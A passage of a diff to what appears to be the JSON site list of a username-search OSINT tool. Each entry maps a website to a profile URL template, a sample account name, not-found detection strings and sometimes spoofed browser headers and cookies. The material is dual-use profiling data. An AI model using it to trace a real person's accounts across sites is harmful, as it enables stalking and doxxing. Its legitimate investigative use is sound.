"exclusion": "\\W|[а-я-А-Я]", + "url": "https://usa.life/{}", + "urlMain": "https://usa.life", + "usernameON": "RinDavis", + "bad_site": "" + }, + "Users_ucrazy": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "https://ucrazy.org/u/{}/", + "urlMain": "https://ucrazy.org", + "usernameON": "aptoc", + "bad_site": "" + }, + "Usersoft_ucoz": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://usersoft.ucoz.ru/index/8-0-{}", + "urlMain": "https://usersoft.ucoz.ru", + "usernameON": "SRabdrashirup", + "bad_site": "" + }, + "Uvelir": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не зарегистрирован и не имеет профиля для просмотра.", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "url": "https://uvelir.net/member.php?username={}", + "urlMain": "https://uvelir.net/", + "usernameON": "red", + "comments": "Oplata", + "bad_site": "" + }, + "Uwr1": { + "country": "🇩🇪", + "country_klas": "DE", + "errorTyp��": "status_code", + "url": "http://uwr1.de/forum/profile/{}", + "urlMain": "http://uwr1.de", + "usernameON": "adam", + "comments": "bad", + "bad_site": "" + }, + "Uzhforum": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Користувач не зареєстрований і не має профілю, який можна переглянути.", + "errorMsg2": "content=\"noindex,follow", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://www.uzhforum.com/member.php?username={}", + "urlMain": "http://www.uzhforum.com", + "usernameON": "kirpicik", + "comments": "old", + "bad_site": 1 + }, + "Valday": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Личные данные пользователя ", + "errorMsg2": "gen\"> ", + "errorMsg3": "UnMask", + "errorTyp��": "message", + "url": "https://valday.com/forum/profile.php?mode=viewprofile&u={}", + "urlMain": "https://valday.com", + "usernameON": "Azs", + "bad_site": "" + }, + "Vamber": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "https://vamber.ru/author/{}/", + "urlMain": "https://vamber.ru", + "usernameON": "irina", + "bad_site": "" + }, + "Vampirerave": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.vampirerave.com/profiles/profiles2.php?profile={}", + "urlMain": "https://www.vampirerave.com", + "usernameON": "EternalXRage", + "headers": { + "User-Agent": "curl/8.11.0" + }, + "bad_site": "" + }, + "Vas3k": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "https://vas3k.club/user/{}/", + "urlMain": "https://vas3k.club", + "usernameON": "zahhar", + "bad_site": "" + }, + "VC": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "message\":\"\",\"result\":{\"items\":[],\"lastId\":null", + "errorMsg2": "lastSortingValue\":0,\"total\":0", + "errorTyp��": "message", + "url": "https://vc.ru/discovery?q={}", + "urlMain": "https://vc.ru", + "urlProbe": "https://api.vc.ru/v2.51/search/subsites?q={}&type=1&page=0", + "usernameON": "yuliya", + "headers": { + "Accept-Language": "ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3", + "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", + "DNT": "1", + "Priority": "u=1", + "Connection": "keep-alive", + "Sec-Fetch-Dest": "document", + "Sec-Fetch-Mode": "navigate", + "Sec-Fetch-Site": "none", + "Sec-Fetch-User": "?1", + "Sec-GPC": "1", + "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:127.0) Gecko/20100101 Firefox/127.0" + }, + "bad_site": "" + }, + "Vegascreativesoftware": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "Whatever you're looking for.", + "errorMsg2": "VEGAS Community | vegascreativesoftware.info", + "errorTyp��": "message", + "url": "https://www.vegascreativesoftware.info/us/users/profile/{}/", + "urlMain": "https://www.vegascreativesoftware.info", + "usernameON": "adam", + "comments": "ZAK_user", + "bad_site": 1 + }, + "Velocat": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих сообщений не найдено", + "errorMsg2": "<title>ВЕЛОСАЙТ - Информация", + "errorTyp��": "message", + "url": "https://velocat.ru/velo/phpBB3/search.php?keywords={}&type=type-special", + "urlMain": "https://velocat.ru", + "usernameON": "blue", + "bad_site": "" + }, + "Velomania": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не зарегистрирован и не имеет профиля для просмотра.", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "url": "https://forum.velomania.ru/member.php?username={}", + "urlMain": "https://forum.velomania.ru/", + "usernameON": "red", + "bad_site": "" + }, + "Velosamara": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Не найдено ни одного пользователя по заданным критериям", + "errorMsg2": "0 пользователей", + "errorTyp��": "message", + "url": "http://velosamara.ru/forum/memberlist.php?username={}", + "urlMain": "http://velosamara.ru", + "usernameON": "Morbo", + "bad_site": "" + }, + "Venera": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "0 результатов", + "errorMsg2": "Результатов поиска нет", + "errorTyp��": "message", + "url": "https://venera.one/search/?q={}&type=core_members", + "urlMain": "https://venera.one", + "usernameON": "adam", + "comments": "old", + "bad_site": 1 + }, + "Venmo": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "status_code", + "url": "https://venmo.com/{}", + "urlMain": "https://venmo.com/", + "usernameON": "jenny", + "comments": "RUblock", + "bad_site": "" + }, + "Vero": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "Error Page - VERO™ – True Social", + "errorMsg2": "class=\"_not-found-page", + "errorTyp��": "message", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://vero.co/{}", + "urlMain": "https://vero.co", + "usernameON": "lilyherbertson", + "bad_site": "" + }, + "Vezha": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не зарегистрирован", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "url": "https://vezha.com/members/?username={}", + "urlMain": "https://vezha.com/", + "usernameON": "red", + "bad_site": "" + }, + "Vgtimes": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "не найден", + "errorMsg2": "Сайт сейчас", + "errorMsg3": "<div id='dle-content'></div>", + "errorTyp��": "message", + "url": "https://vgtimes.ru/user/{}/", + "urlMain": "https://vgtimes.ru", + "comments": "cf", + "usernameON": "Raumkua", + "bad_site": "" + }, + "Vidamora": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "<title>Meet , in", + "errorMsg2": "| Cloudflare", + "errorMsg3": "Please wait", + "errorTyp��": "message", + "url": "https://www.vidamora.com/profile/{}", + "urlMain": "https://www.vidamora.com", + "usernameON": "adam", + "bad_site": "" + }, + "Video_ploud": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://video.ploud.jp/accounts/{}/video-channels", + "urlMain": "https://video.ploud.jp", + "usernameON": "lwflouisa", + "bad_site": "" + }, + "Videoforums": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не зарегистрирован и не имеет профиля для просмотра.", + "errorMsg2": "content=\"noindex,follow", + "errorTyp��": "message", + "url": "http://videoforums.ru/member.php?username={}", + "urlMain": "http://videoforums.ru", + "usernameON": "carlo", + "bad_site": "" + }, + "Videogamegeek": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "<title>Profile | VideoGameGeek", + "errorMsg2": "Error: User does not exist.", + "errorMsg3": "not found", + "errorTyp��": "message", + "url": "https://videogamegeek.com/user/{}", + "urlMain": "https://videogamegeek.com", + "usernameON": "adam", + "bad_site": 1 + }, + "Videohive": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://videohive.net/user/{}", + "urlMain": "https://videohive.net", + "usernameON": "zedbadley", + "bad_site": "" + }, + "Videosift": { + "country": "🇺🇸", + "country_klas": "US", + "errorMsg": "You Seem Lost", + "errorMsg2": "Not Found", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://videosift.com/member/{}", + "urlMain": "https://videosift.com", + "usernameON": "adam", + "comments": "cf", + "bad_site": 1 + }, + "Vimeo": { + "country": "🌎", + "country_klas": "WR", + "exclusion": "[а-яА-Я]", + "errorTyp��": "status_code", + "url": "https://vimeo.com/{}", + "urlMain": "https://vimeo.com/", + "usernameON": "blue", + "bad_site": "" + }, + "Virgool": { + "country": "🇮🇷", + "country_klas": "IR", + "errorMsg": "۴۰۴", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "url": "https://virgool.io/@{}", + "urlMain": "https://virgool.io/", + "usernameON": "blue", + "comments": "cf", + "bad_site": 1 + }, + "Virtualireland": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не зарегистрирован и не имеет профиля для просмотра.", + "errorMsg2": "VirtualIreland.ru - Виртуальная Ирландия", + "errorTyp��": "message", + "exclusion": "[а-яА-Я]", + "url": "https://www.virtualireland.ru/member.php?username={}", + "urlMain": "https://www.virtualireland.ru", + "usernameON": "Lee", + "bad_site": "" + }, + "Vishivalochka": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://vishivalochka.ru/index/8-0-{}", + "urlMain": "http://vishivalochka.ru", + "usernameON": "Caliopa", + "comments": "Oplata", + "bad_site": "" + }, + "Vivino": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://www.vivino.com/users/{}", + "urlMain": "https://www.vivino.com/", + "usernameON": "adam", + "bad_site": "" + }, + "VK": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "response_url", + "url": "https://vk.com/{}", + "urlMain": "https://vk.com/", + "usernameON": "smith", + "bad_site": "" + }, + "Vkaline": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не зарегистрирован и не имеет профиля для просмотра.", + "errorMsg2": "content=\"noindex,follow", + "errorTyp��": "message", + "url": "http://www.vkaline.ru/forum/member.php?username={}", + "urlMain": "http://www.vkaline.ru", + "usernameON": "Varelik", + "comments": "old", + "bad_site": 1 + }, + "Vkrugudrusey": { + "country": "🇷🇺", + "country_klas": "RU", + "exclusion": "\\W", + "errorTyp��": "response_url", + "url": "http://{}.vkrugudrusey.ru/x/blog/all/", + "urlMain": "http://vkrugudrusey.ru", + "usernameON": "irina", + "comments": "Archive", + "bad_site": 1 + }, + "Vlab": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "<title>Информация", + "errorTyp��": "message", + "url": "https://vlab.su/search.php?keywords=&terms=all&author={}", + "urlMain": "https://vlab.su", + "usernameON": "Sword93", + "bad_site": "" + }, + "Vladimirka": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "http://www.vladimirka.ru/board/profile/{}", + "urlMain": "http://www.vladimirka.ru", + "usernameON": "anyazxc1", + "bad_site": "" + }, + "Vladmama": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "<title>Информация |", + "errorTyp��": "message", + "url": "https://vladmama.ru/forum/search.php?keywords=&terms=all&author={}", + "urlMain": "https://vladmama.ru", + "usernameON": "Lenok2803", + "bad_site": "" + }, + "Vlmi": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "<title>Упс! Мы столкнулись с некоторыми проблемами. | VLMI Интернет-безопасность, обмен приватной информацией", + "errorMsg2": "Полезные пользователи | VLMI Интернет-безопасность, обмен приватной информацией", + "errorTyp��": "message", + "url": "https://vlmi.biz/members/?username={}", + "urlMain": "https://vlmi.biz", + "usernameON": "mixa", + "comments": "old", + "bad_site": 1 + }, + "Voices": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://www.voices.com/actors/{}", + "urlMain": "https://www.voices.com/", + "usernameON": "adam", + "bad_site": "" + }, + "Voicesevas": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "http://voicesevas.ru/user/{}/", + "urlMain": "http://voicesevas.ru", + "usernameON": "adam", + "bad_site": "" + }, + "Volga-gaz": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "http://volga-gaz.nnov.ru/forum/search.php?keywords=&terms=all&author={}", + "urlMain": "http://volga-gaz.nnov.ru", + "usernameON": "serg6033", + "bad_site": "" + }, + "Volkodavcaoko": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "профиль забанен или удален", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "url": "https://volkodavcaoko.forum24.ru/?32-{}", + "urlMain": "https://volkodavcaoko.forum24.ru", + "usernameON": "itaka", + "bad_site": "" + }, + "Volkswagen": { + "country": "🇺🇦", + "country_klas": "UA", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "http://volkswagen.lviv.ua/members/?username={}", + "urlMain": "http://volkswagen.lviv.ua", + "usernameON": "scirocco", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Volleybox": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "response_url", + "url": "https://volleybox.net/ru/user/{}", + "urlMain": "https://volleybox.net", + "usernameON": "volleyjerseys", + "comments": "cf", + "bad_site": "" + }, + "Votetags": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "Page not found", + "errorMsg2": "<body class=\"archive author\">", + "errorTyp��": "message", + "url": "https://www.votetags.info/author/{}/", + "urlMain": "https://www.votetags.info/", + "usernameON": "safeclothes", + "bad_site": "" + }, + "VSCO": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "status_code", + "url": "https://vsco.co/{}", + "urlMain": "https://vsco.co/", + "usernameON": "blue", + "bad_site": "" + }, + "Vse": { + "country": "🇰🇿", + "country_klas": "KZ", + "errorMsg": "Поиск не дал результатов", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "url": "https://vse.kz/index.php?app=core&module=search&do=search&andor_type=members&search_app_filters[members][members][sortKey]=date&search_term={}&search_app=members&search_app_filters[members][searchInKey]=members&search_app_filters[members][members][sortKey]=date&search_app_filters[members][members][sortDir]=1", + "urlMain": "https://vse.kz", + "usernameON": "vturekhanov", + "comments": "old_feb_2025", + "bad_site": 1 + }, + "Vulengate": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://www.vulengate.com/members/?username={}", + "urlMain": "https://www.vulengate.com", + "usernameON": "dmanskits", + "comments": "cf", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Vulgo_rolka": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "По вашему запросу ничего не найдено", + "errorMsg2": "Информация", + "errorTyp��": "message", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://vulgo.rolka.me/search.php?action=search&keywords=&author={}", + "urlMain": "https://vulgo.rolka.me", + "usernameON": "tania25297", + "bad_site": "" + }, + "Vyshyvanka": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Користувача не знайдено", + "errorMsg2": "403 Forbidden", + "errorMsg3": "User not found", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://vyshyvanka.ucoz.ru/index/8-0-{}", + "urlMain": "https://vyshyvanka.ucoz.ru", + "usernameON": "Sirena", + "bad_site": "" + }, + "Vzvd": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "https://vzvd.ru/forum/index.php?p=/profile/{}", + "urlMain": "https://vzvd.ru", + "usernameON": "Troll", + "bad_site": "" + }, + "W3challs": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "404 Page not found – W3Challs Hacking Challenges", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "url": "https://w3challs.com/profile/{}", + "urlMain": "https://w3challs.com/", + "usernameON": "adam", + "bad_site": "" + }, + "W3schools": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "problem", + "errorMsg2": "0 results", + "errorTyp��": "message", + "url": "https://w3schools.invisionzone.com/search/?q={}&quick=1&type=core_members", + "urlMain": "https://w3schools.invisionzone.com", + "usernameON": "DubaiSouthVillas", + "comments": "cf", + "bad_site": "" + }, + "W7forums": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "The specified member cannot be found. Please enter a member's entire name.", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "url": "https://www.w7forums.com/members/?username={}", + "urlMain": "https://www.w7forums.com", + "usernameON": "adam", + "bad_site": "" + }, + "Wakatime": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://wakatime.com/@{}", + "urlMain": "https://wakatime.com", + "usernameON": "adam", + "bad_site": "" + }, + "Wanelo": { + "country": "🇺🇸", + "country_klas": "US", + "exclusion": "\\W|[а-я-А-Я]", + "errorTyp��": "status_code", + "url": "https://wanelo.co/{}", + "urlMain": "https://wanelo.co", + "usernameON": "adam", + "comments": "old", + "bad_site": 1 + }, + "Warcraft3ft": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "403", + "errorMsg3": "едеральн", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "https://warcraft3ft.clan.su/index/8-0-{}", + "urlMain": "https://warcraft3ft.clan.su", + "usernameON": "Inods", + "bad_site": "" + }, + "Warhammercommunity": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://warhammercommunity.com/forum/members/?username={}", + "urlMain": "https://warhammercommunity.com", + "usernameON": "harleyquinn", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Warriorforum": { + "country": "🇦🇺", + "country_klas": "AU", + "errorTyp��": "status_code", + "url": "https://www.warriorforum.com/members/{}.html", + "urlMain": "https://www.warriorforum.com/", + "usernameON": "blue", + "bad_site": "" + }, + "Wasm": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "redirection", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://wasm.in/members/?username={}", + "urlMain": "https://wasm.in", + "usernameON": "entropy", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Wattpad": { + "country": "🇨🇦", + "country_klas": "CA", + "errorMsg": "userError-404", + "errorMsg2": "Why do I have to complete a CAPTCHA?", + "errorTyp��": "message", + "url": "https://www.wattpad.com/user/{}", + "urlMain": "https://www.wattpad.com/", + "usernameON": "Dogstho7951", + "bad_site": "" + }, + "Wc3": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Пользователь не найден", + "errorMsg2": "<title>403 Forbidden", + "errorTyp��": "message", + "exclusion": "\\W", + "url": "http://wc3.3dn.ru/index/8-0-{}", + "urlMain": "http://wc3.3dn.ru", + "usernameON": "Terror", + "bad_site": "" + }, + "Weasyl": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://www.weasyl.com/~{}", + "urlMain": "https://www.weasyl.com", + "usernameON": "adam", + "bad_site": "" + }, + "Webhamster": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "По вашему запросу ничего не найдено.", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "url": "https://webhamster.ru/punbb/userlist.php?username={}", + "urlMain": "https://webhamster.ru", + "usernameON": "adam", + "bad_site": "" + }, + "Weblancer": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "response_url", + "url": "https://www.weblancer.net/users/{}/", + "urlMain": "https://www.weblancer.net", + "usernameON": "alraa", + "bad_site": "" + }, + "Webonrails": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://webonrails.ru/user/{}/", + "urlMain": "https://webonrails.ru", + "usernameON": "rediska", + "comments": "old", + "bad_site": 1 + }, + "WebOS": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Подходящих тем или сообщений не найдено.", + "errorMsg2": "Информация", + "errorTyp��": "message", + "url": "https://webos-forums.ru/search.php?keywords=&terms=all&author={}&sc=1&sf=msgonly&sr=posts&sk=t&sd=d&st=0&ch=300&t=0&submit=%D0%9F%D0%BE%D0%B8%D1%81%D0%BA", + "urlMain": "https://webos-forums.ru", + "usernameON": "tessi", + "bad_site": "" + }, + "Weburg": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": ">К сожалению в разделе", + "errorMsg2": "Ê ñîæàëåíèþ â ðàçäåëå", + "errorMsg3": "ничего не найдено", + "errorTyp��": "message", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://weburg.net/search?where=10&search=1&q={}", + "urlMain": "https://weburg.net", + "usernameON": "adam", + "comments": "Oplata", + "bad_site": "" + }, + "Weedmaps": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "Find Marijuana Dispensaries, Brands, Delivery, Deals & Doctors", + "errorMsg2": "NoneNone", + "errorTyp��": "message", + "url": "https://weedmaps.com/brands/{}", + "urlMain": "https://weedmaps.com", + "usernameON": "adams", + "bad_site": "" + }, + "Weforum": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "World Economic Forum", + "errorMsg2": "404: Page cannot", + "errorTyp��": "message", + "url": "https://www.weforum.org/people/{}", + "urlMain": "https://www.weforum.org", + "usernameON": "adam-leismark", + "headers": { + "Accept-Language": "ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3", + "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", + "DNT": "1", + "Priority": "u=1", + "Connection": "keep-alive", + "Sec-Fetch-Dest": "document", + "Sec-Fetch-Mode": "navigate", + "Sec-Fetch-Site": "none", + "Sec-Fetch-User": "?1", + "Sec-GPC": "1", + "Cookie": "SUB=_2AkMQFRkHf8NxqwFRmf4WyW7haIt_ywnEieKmSejcJRMxHRl-yT9kqkpStRB6O5U36I0wj1ke-VrTHS_G3IfYEdZRb2jF", + "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:127.0) Gecko/20100101 Firefox/127.0" + }, + "bad_site": "" + }, + "Wego_social": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "response_url", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://wego.social/{}", + "urlMain": "https://wego.social", + "usernameON": "CRHoman", + "bad_site": "" + }, + "Weld": { + "country": "🇺🇦", + "country_klas": "UA", + "errorMsg": "Пользователь не зарегистрирован и не имеет профиля для просмотра.", + "errorMsg2": "<title>Сварочный Форум", + "errorTyp��": "message", + "url": "https://weld.in.ua/forum/member.php/?username={}", + "urlMain": "https://weld.in.ua", + "usernameON": "red", + "bad_site": "" + }, + "Wfts": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Ошибка: игрок не найден", + "errorMsg2": "Warface TrueSight | Профиль игрока не существует", + "errorMsg3": "не существует", + "errorTyp��": "message", + "url": "https://wfts.su/profile/{}", + "urlMain": "https://wfts.su/", + "usernameON": "%D0%9B%D0%90%D0%A0%D0%A0%D0%9830", + "bad_site": "" + }, + "Whitewaterguidebook": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://www.whitewaterguidebook.com/forums/users/{}/", + "urlMain": "https://www.whitewaterguidebook.com", + "usernameON": "justincarson", + "bad_site": "" + }, + "Whonix": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "No results found.", + "errorMsg2": "| Cloudflare", + "errorMsg3": "search":"{\\"posts\\":[],\\"users\\":[],\\"categories", + "errorTyp��": "message", + "url": "https://forums.whonix.org/search?expanded=true&q=%40{}", + "urlMain": "https://forums.whonix.org/", + "usernameON": "red", + "bad_site": "" + }, + "Whyislam": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Не найдено", + "errorMsg2": "0 пользоват", + "errorMsg3": "| Cloudflare", + "errorTyp��": "message", + "url": "https://www.whyislam.to/forum/memberlist.php?username={}", + "urlMain": "https://www.whyislam.to/", + "usernameON": "adam", + "headers": { + "Accept-Language": "ru-RU,ru;q=0.8,en-US;q=0.5,en;q=0.3", + "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8", + "DNT": "1", + "Priority": "u=1", + "Connection": "keep-alive", + "Sec-Fetch-Dest": "document", + "Sec-Fetch-Mode": "navigate", + "Sec-Fetch-Site": "none", + "Sec-Fetch-User": "?1", + "Sec-GPC": "1", + "Cookie": "SUB=_2AkMQFRkHf8NxqwFRmf4WyW7haIt_ywnEieKmSejcJRMxHRl-yT9kqkpStRB6O5U36I0wj1ke-VrTHS_G3IfYEdZRb2jF", + "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:127.0) Gecko/20100101 Firefox/127.0" + }, + "bad_site": "" + }, + "Wickeditor": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://forum.wickeditor.com/u/{}/summary", + "urlMain": "https://forum.wickeditor.com", + "usernameON": "jayanimatic", + "bad_site": "" + }, + "Wikidot": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "User does not exist.", + "errorMsg2": "Wikidot is not available in Russia", + "errorTyp��": "message", + "url": "http://www.wikidot.com/user:info/{}", + "urlMain": "http://www.wikidot.com/", + "usernameON": "blue", + "comments": "RUblock", + "bad_site": "" + }, + "Wikigrib": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "<title>Энциклопедия грибов «ВикиГриб»", + "errorMsg2": "pagetitle\">Ваша страница", + "errorTyp��": "message", + "url": "https://wikigrib.ru/author/{}/", + "urlMain": "https://wikigrib.ru", + "usernameON": "sergeym", + "bad_site": "" + }, + "Wikihow": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "status_code", + "url": "https://www.wikihow.com/Author/{}", + "urlMain": "https://www.wikihow.com", + "usernameON": "Ikaika-Cox", + "bad_site": "" + }, + "Wikiloc": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "[а-яА-Я]", + "url": "https://www.wikiloc.com/wikiloc/findPeople.do?name={}", + "urlMain": "https://www.wikiloc.com", + "usernameON": "LosK2delasKumbres", + "bad_site": "" + }, + "Wikimapia": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "", + "errorMsg2": "", + "errorTyp��": "message", + "exclusion": "[а-яА-Я]", + "url": "http://wikimapia.org/user/tools/users_rating/?username={}", + "urlMain": "http://wikimapia.org", + "usernameON": "adam", + "bad_site": "" + }, + "Wikipedia": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "is not registered", + "errorMsg2": "Wikipedia does not have", + "errorTyp��": "message", + "exclusion": "\\W|[а-я-А-Я]", + "url": "https://www.wikipedia.org/wiki/User:{}", + "urlMain": "https://www.wikipedia.org/", + "usernameON": "Zanuda_petro", + "bad_site": "" + }, + "Wikipediocracy": { + "country": "🌎", + "country_klas": "WR", + "errorMsg": "Sorry but you cannot use", + "errorMsg2": "No suitable matches were found.", + "errorMsg3": "Information", + "errorTyp��": "message", + "url": "https://wikipediocracy.com/forum/search.php?keywords=&terms=all&author={}", + "urlMain": "https://wikipediocracy.com", + "usernameON": "Anroth", + "bad_site": "" + }, + "Wikiquote": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "url": "https://ru.wikiquote.org/wiki/%D0%A3%D1%87%D0%B0%D1%81%D1%82%D0%BD%D0%B8%D0%BA:{}", + "urlMain": "https://ru.wikiquote.org", + "usernameON": "Zwyciezca", + "bad_site": "" + }, + "Wikivoyage": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "https://ru.wikivoyage.org/wiki/%D0%A3%D1%87%D0%B0%D1%81%D1%82%D0%BD%D0%B8%D0%BA:{}", + "urlMain": "https://ru.wikivoyage.org", + "usernameON": "Savh", + "bad_site": "" + }, + "Wiktionary": { + "country": "🇷🇺", + "country_klas": "RU", + "errorTyp��": "status_code", + "url": "https://ru.wiktionary.org/w/index.php?title=%D0%A3%D1%87%D0%B0%D1%81%D1%82%D0%BD%D0%B8%D0%BA:{}&action=view", + "urlMain": "https://ru.wiktionary.org", + "usernameON": "Merdiginn", + "bad_site": "" + }, + "Wild-nature": { + "country": "🇷🇺", + "country_klas": "RU", + "errorMsg": "Наши авторы | Дикая природа в фотографиях и рассказах", + "errorMsg2": "Страница не найдена", + "errorTyp��": "message", + "url": "http://www.wild-nature.ru/users/{}", + "urlMain": "http://www.wild-nature.ru", + "usernameON": "lana75", + "bad_site": "" + }, + "Wimkin": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "status_code", + "exclusion": "\\W|[а-яА-Я]", + "url": "https://wimkin.com/{}", + "urlMain": "https://wimkin.com", + "usernameON": "JRourke", + "bad_site": "" + }, + "Windows10forums": { + "country": "🌎", + "country_klas": "WR", + "errorTyp��": "redirection", + "url": "https://www.windows10forums.com/members/?username={}", + "urlMain": "https://www.windows10forums.com/", + "usernameON": "adam", + "bad_site": "", + "headers": { + "User-Agent": "curl/8.11.0" + } + }, + "Windowsforum": { + "country": "🇺🇸", + "country_klas": "US", + "errorTyp��": "redirection", + "url": "https://windowsforum.com/members/?username={}", + "urlMain": "https://windowsforum.com", + "usernameON": "adam", + "bad_site": "", + "headers": { + 